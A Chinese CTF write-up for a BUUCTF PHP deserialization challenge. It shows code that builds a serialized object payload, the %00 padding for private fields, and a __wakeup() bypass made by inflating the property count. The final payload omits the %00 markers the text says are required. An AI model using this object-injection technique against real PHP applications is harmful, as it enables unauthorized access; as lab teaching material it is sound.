题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,提示为备份文件
第二步:网站备份文件一般放置在www.zip里,访问www.zip得到一个下载提示,下载后得到class.php与index.php
第三步:查看flag.php
什么也没有
第四步:查看index.php
通过index.php得知,index加载了class.php文件并传入一个select参数,然后反序列化。
第五步:查看class.php
由函数_destruct可知当username=admin且password=100时会提示flag
第六步:获取flag
- 查看index得知,传入的参数会被反序列化,所以传的参数需要经过一次序列化。将下列代码使用php执行
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = serialize(new Name("admin",100));
echo $a;
?>
得到结果:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
- 在声明Name这个类时,username以及password都是私有属性,这在序列化时,会在字段名前加上0的前缀,但在输出时不显示,填补完整:
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
- 在第五步时看到对于传入的参数,会执行_weakup函数,将username进行改变,通过修改序列化后的Name参数个数就可以跳过不执行weakup函数。构造为:
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
- 使用select传参,得到flag
知识点:
1、public、protected与private在序列化时的区别
- protected:声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀
- 对于private变量,我们需要在类名和字段名前面都会加上\0的前缀
- 如果想放在浏览器中直接提交,我们可以将\0换成%00
2、__wakeup()方法绕过
__wakeup()函数,在反序列化时,被自动调用。
绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。